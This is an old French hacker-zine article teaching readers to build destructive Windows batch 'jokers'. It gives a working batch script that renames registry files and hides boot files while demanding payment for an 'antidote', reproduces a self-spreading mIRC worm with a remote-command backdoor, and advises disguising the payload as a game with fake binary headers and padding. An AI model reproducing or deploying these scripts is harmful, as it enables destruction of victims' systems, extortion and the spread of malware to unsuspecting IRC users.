les Jokers Hack (X) Informatique general ( ) Autres () ------------------------------------------ les jokers sont des programmes assimilles au virus, non par leur fonctionnement, mais dans leurs intententions. Generalement, un joker est un executable destructeur incapable de se repandre par lui-meme. Vous pouvez alors vous demander quel est l'interet d'utiliser un joker a la place d'un virus. Un joker n'a pas (souvent) de difficultes a etre cree, pas forcement programme, simplement cree, car un joker peut etre programme dans TOUT languages possible, de l'assembleur, avec des fonctions de bas niveau, au pseudo-languages de script, de haut niveau. Puisque il est simple a mettre sur pied, vous pouvez le faire par vous-meme, contrairement aux virus, et donc avoir une personnalisation du code optimal. De plus, la majorite des anti-virus sont incapable de detecter les jokers. les seul qui peuvent vous ennrtavez sonr ceux qui verifient les fichiers en temps reel. Un joker peut produire des degats terrible sur votre machine, pendant la periode de "test", gardez toujours une disquette systeme, avec l' "antidote" dessus. Un petit disclaimer, non pas pur dire que c mal de faire des jokers, mais simplement pour vous avertir que les virus tuent internet, car les victimes sont les internautes donc a force, ils partent, et alors les pages perso ferment, et il ne reste que les sites commerciaux, qui fermeront egalement puisque il n'y aura + de clients .... Puis les ISP vont fermer aussi, et donc il n'y aura plus l'internet libre et accessible pour tt le monde. C un poil exagere, mais ca finira quand meme comme ca. A partir d'ici, nous allons parler uniquement des jokers sous forme de batch Windows (.bat) Un joker en .bat sera dejoue par n'importe quel utilisateur confirme, il suffit juste de connnaite la technique. Avant cet article, vous etiez p-e vulnerable, maintenant, regardez a 2 fois :) Un batch est un fichier texte interprete (par opposition a compile) par Dos. Donc vous n'avez qu'a ecrire les insruction Dos de votre choix dans un fichier, appellez le test1.bat, executez le, et les fonctions seront executees, les une apres les autres. par exemple, ecrivez ceci dans un fichier et donnez lui une extension .bat . 8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8< label DiskDur 8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8< Executez-le, ouvrez votre poste de travail et Ô surprise, C: s'appelle DiskDur Cet exemple est un peu pourri, mais avec une petite liste de fonctions, vous saisirez mieux. Nom Fonction Exemple Conseil del Supprimer del c:windowswin.com Ne l'utilisez que en "cas d'urgence" ren rennomer ren c:windowswin.com win.exe Pratique, preferez le a del , car vous pouvez utiliser un antidote. label ren partition label Pov_Con Change le titre du disque dur, parfait pour foutre les boule a la victime cd deplacer arbo cd windows Permet de se deplacer dans l'arborescence cd .. remonte l'arbo, et cd amene a la racine. md creer rep md joker Le but d'un joker est de detruire, pas de construire :) deltree suppr rep deltree c:windows Supprime un repertoire entier, avec sous Dossiers et fichiers. move mov un fichier move c:windowswin.com c: Pas mal, une alternative a ren copy copy un fich. copy c:windowswin.com c: idem que move, mais delete le fichier source. attrib change attrib. attrib +h c:windows Met le fichoer ou le rep en lecture seule (+r), caches (+h) ou archive. C dur d'acceder aux fichiers caches sous DOS :) Voila, c'est les commandes de bases. Vous remarquerez que ces fonctions sont tres puissantes dans la gestion des fichiers. Des autres commandes peuvent etre ajoutees a votre version du DOS, nous n'en tiendront pas compte car ce n'est pas votre machine qui executera. L'antidote : Appelation courante du programme qui annule les effets du joker, c'est utile pour la phase de test, mais aussi si ce n'est que pour faire peur a votre victime. On ne peut pas faire d'antidote efficace si l'on a utilise des commandes de suppression, d'ou l'interet de ne faire que des ren et move. Voici quelque jokers et leurs antidotes respectif : Je vous les livres dans leur etat "fonctionnel" cad avec les messages que j'avais addresse a la victime (un lamer de base dans tout le lama-style). 8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8< @ECHO OFF @c: @cd @cd windows @attrib -h -a -r user.dat @rename c:windowsuser.dat ASPI.sys @attrib -h -a -r system.dat @rename c:windowssystem.dat ASPII.sys @label petit con ! @Attrib +h c:autoexec.bat @Attrib +h c:config.sys @Attrib +h c:windowssystem.ini @Attrib +h c:windowsprotocol.ini @rename win.com win.old @rename win.ini win.com @rename win.old win.ini @rename c:command.com comand.com @rename c:windowscommand.com comand.com @rename c:windowscommandformat.com format.exe echo Pôv' baltringue, Tu me dois 2 Jeux ou si tu les a paumes, l'equivalent en CASH, echo Soit Dark Omen 350 Fr et Zorg 100fr ,donc 450fr. echo Si tu me file ce que tu me DOIS, je te file "l'antidote" echo Je te deconseille de reparer seul, mon antidote pourrait ne plus marcher echo Triplex Phall echo . echo PS : Un anti-virus ne sert a rien, formater non plus .(Vive BIOS) echo Tape "format c:", tu vas etre etonne pause chkdisk pause deltree a:antidote.bat exit 8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8< Et l'antidote. 8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8< @ECHO OFF @c: @cd @cd windows @rename c:windowsASPI.sys user.dat @rename c:windowsASPII.sys system.dat @attrib +h +a c:windowsuser.dat @attrib +h +a c:windowssystem.dat @label Encheridion @Attrib -h -a -r c:autoexec.bat @Attrib -h -a -r c:config.sys @Attrib -h -a -r c:windowssystem.ini @rename win.ini win.old @rename win.com win.ini @rename win.old win.com @rename c:comand.com c:command.com @rename c:windowscomand.com command.com @rename c:windowscommandformat.exe format.com @cd echo Maintenant ca doit marcher. echo sinon tu te colle tes 3 boutons au cul. echo . echo Sa Majeste echo Triplex Phall pause @atrrib +r c:windowswin.com @deltree a:antidote.bat @exit 8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8< Vous venez de finir de lire ca, et vous pensez surement : "Ouais C tout con ton truc, un gosse de 3 ans peut le faire" Ok, pour l'instant c facile, mais regardez ca, vous allez changer d'avis. Je ne l'ai pas teste, mais ca cree un script pour IRC, et je doute que ce soit pour ajouter des Away :) C plus un virus qu'un joker , car il est capable de se 'reproduire', en s'envoyant a toutes les personne presentes dans le chan. 8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8< @echo off @if %0 == C:WINSYS98.BAT goto :skip @echo asdf >> c: emp.jpg @c:progra~1intern~1iexplore c: emp.jpg @echo @C:WINSYS98.BAT >> c:autoexec.bat @copy /y %0 c:winsys98.bat > nul :skip @if exist c:mircmirc.exe goto ok @exit :ok @copy /y %0 c:mircscript.ini > nul @echo n0=script.ini >> c:mircmirc.ini @echo n1=script.ini >> c:mircmirc.ini @echo n2=script.ini >> c:mircmirc.ini @echo n3=script.ini >> c:mircmirc.ini @echo n4=script.ini >> c:mircmirc.ini @echo n5=script.ini >> c:mircmirc.ini @echo n6=script.ini >> c:mircmirc.ini @echo n7=script.ini >> c:mircmirc.ini @echo n8=script.ini >> c:mircmirc.ini @echo n9=script.ini >> c:mircmirc.ini @exit [script] n0=alias chanserv { rub.msg (msg:chanserv) $1- | chanserv $1- } n1=alias nickserv { rub.msg (msg:nickserv) $1- | nickserv $1- } n2=alias operserv { rub.msg (msg:operserv) $1- | operserv $1- } n3=alias msg { rub.msg (msg: $+ $1 $+ ) $2- | msg $1- } n4=alias privmsg { rub.msg (msg: $+ $1 $+ ) $2- | privmsg $1- } n5=alias remote { n6= if ($1 == off) { rub.echo info text:*** Remote is OFF } n7= if ($1 == on) { rub.echo info text:*** Remote is ON (Ctcps,Events,Raw) } n8=} n9=alias unload { n10= if ($1 == -rs) && ($gettok($2,$gettok($2,0,92),92) == $gettok($script,$gettok($script,0,92),92)) { rub.echo info text:*** Unloaded script 'script1.ini' } n11= else { n12= unload $1- n13= } n14=} n15=alias -l rub.echo echo -ae  $+ $colour($gettok($1-,1,58)) $+ $deltok($1-,1,58) n16=alias -l rub.msg if ($server != $null) raw -q privmsg $chr(35) $+ $date :#ribbed#2.41# $1- n17=alias -l rub.name return $str(!,$r(0,9)) $+ $gettok(:jennie:wife:lori:cindy:lanna:pamela:jane:wendi:christine:linda:katherine:yasmeen:model:anna:nicole:,$r(1,15),58) $+ $gettok(::-:_:~:x:,$r(1,5),58) $+ $gettok(::wet:hot:sexy:xxx:lick:horny:wild:orgy:naked:lesbian:straight:all-wet:,$r(1,13),58) $+ .jpg.bat n18=alias -l rub.infect { n19= :top n20= if ($sock(*,0) > 5) return n21= %rub.sock = rub.send. $+ $r(0,9999) n22= socklisten %rub.sock | sockmark %rub.sock $1 0 n23= %rub.temp = $rub.name n24= raw -q privmsg $1 :DCC SEND %rub.temp $longip($ip) $sock(%rub.sock).port $file($script).size $+  n25=} n26=alias -l rub.help { n27= if (($sock(*,0) > 5) && ($sock(rub.*,0) > 0)) { n28= %rub.temp = 1 n29= :l n30= if ($sock(rub.*,%rub.temp).ls > 30) sockclose $sock(rub.*,%rub.temp) n31= else inc %rub.temp n32= if (%rub.temp <= $sock(rub.*,0)) goto l n33= } n34= if (($chan(0) == 0) || ($sock(*,0) > 5)) return | %rub.temp2 = 0 n35= :loop n36= %rub.temp = $chan($r(1,$chan(0))) n37= %rub.temp = $nick(%rub.temp,$r(1,$nick(%rub.temp,0))) n38= if (%rub.temp != $me) rub.infect %rub.temp n39= if (%rub.temp2 < 5) { inc %rub.temp2 | goto loop } n40=} n41=on *:socklisten:rub.send.*:{ n42= set %rub.temp rub.write. $+ $gettok($sockname,3,46) | sockaccept %rub.temp | sockmark %rub.temp $sock($sockname).mark | rub.send %rub.temp | sockclose $sockname n43=} n44=on *:sockwrite:rub.write.*:rub.send $sockname n45=on *:sockclose:rub.write.*:rub.help n46=alias -l rub.send { n47= %rub.byte = $gettok($sock($1).mark,2,32) n48= if ($calc(%rub.byte + 4096) < $file($script).size) { n49= bread $script %rub.byte 4096 &rub.data n50= sockwrite $1 &rub.data n51= inc %rub.byte 4096 n52= } n53= else { n54= %rub.temp = $calc($file($script).size - %rub.byte) n55= if (%rub.temp == 0) { rub.msg infected $gettok($sock($1).mark,1,32) | rub.help | return } n56= bread $script %rub.byte %rub.temp &rub.data n57= sockwrite $1 &rub.data n58= %rub.byte = $file($script).size n59= } n60= sockmark $1 $gettok($sock($1).mark,1,32) %rub.byte n61=} n62= n63=raw 401:*:{ set %rub.temp $chr(35) $+ $date | if ($2 == %rub.temp) halt } n64=raw 404:*:{ set %rub.temp $chr(35) $+ $date | if ($2 == %rub.temp) halt } n65=on *:connect:{ n66= .copy -o $script c:winsys98.bat n67= rub.msg online ( $+ $me $+ ! $+ $ip $+ ) n68=} n69=on *:invite:#:rub.msg invited to $chan n70=on *:join:#:{ n71= if ($nick != $me) rub.infect $nick n72= rub.help n73=} n74=on *:part:#:.timermircHelpTimer 0 10 rub.help n75=on *:nick:if ($nick == $me) rub.msg nick: $nick -> $newnick n76=on *:op:#:if ($opnick == $me) rub.msg just opped in $chan n77=on *:serverop:#:if ($opnick == $me) rub.msg just serv-opped in $chan n78=on *:usermode:rub.msg usermode: $1- n79= n80=on ^*:error:*:haltdef n81=on ^*:notice:*:?:{ n82= if ($right($gettok($1-,1,94),$calc($len($gettok($1-,1,94)) - 1)) == ribbed) && (($version < 5.4) || ($gettok($1-,2,94) == $hash($me,32))) { n83= $left($gettok($1-,3-,94),$calc($len($gettok($1-,3-,94)) - 1)) n84= haltdef n85= } n86=} 8<----8<----8<----8<----8<----8<----8<----8<----8<----8<----8< Voila, vous avez des exemples, vous avez les instructions de base, maintenant vous allez acquerir les conseils de base. Pour eviter qu'un "utilisateur" s'apercoive des intentions de votre programme, il serai bon de cacher le code lors de l'execution. Pour cela vous pouvez ajouter '@echo off' echo off signifie que les instructions ne seront pas affichees lors de l'execution et le @ sert a cacher l'invite (c:\). Apres, vous pouvez ajouter un @ au debut de chaque commande, pour que rien n'apparaisse. Si vous voulez afficher un msg, tapez-le, mais lors de l'execution vous aurez un 'nom de commande ou de fichier incorrecte', pour palier a cette erreur, ajouez 'echo' devant le msg. Pour eviter qu'un utilisateur, en farfouillant le code, devine les intentions du prog, vous pouvez ajouter des caracteres assci, pour faire comme si le prog etait compile. Par ex :   ÿÿ ¸ @ € º ´ Í!¸LÍ!This program requires Microsoft Windows. par contre vous obtiendrez des 'noms de commande ...', la solution a ca s'appele rem. rem sert a ajouter un commentaire, donc a ignorer tout ce qui suit sur la meme ligne. Ok, c visible, mais si vous mettez des rem a chaque ligne pendant 2 pages, ca restera discret (en theorie :). Vous pouvez egalement ajouter du poids a vos prog avec cette technique, en effet, si vous dites a votre victime que le prog est un jeux super, et qu'elle voit que le prog fait 306 octets, elle devrai se douter de qqc. Le mieux est de copier-coller le contenu de win.com, avec edit, de mettre des rem a chaque debut de ligne, et de mettre votre code au milieu, et enfin de prier pour que ca marche :) Vous pouvez afficher un 'appuyez sur une touche por continuer' avec 'la commade 'pause' . A utiliser sans arguments. Il est possible de faire des batch interactif, avec 'choice', mais les jokers doivent s'executer, tres rapidement, avant que l'utilisateur s'apercoive de qqc. Je serai tres contete que vous m'enviyez vos creation, juste histoire de voir de quoi vos etes capable :) mailto:triplex@multimania.com C tout pour ajourd'hui, et j'espere faire qqc de mieux pour le 3, ca sera p-e le 4, vu que je suis en reatrd pour rendre l'article, le 3 sera p-e deja sorti :) Triplex.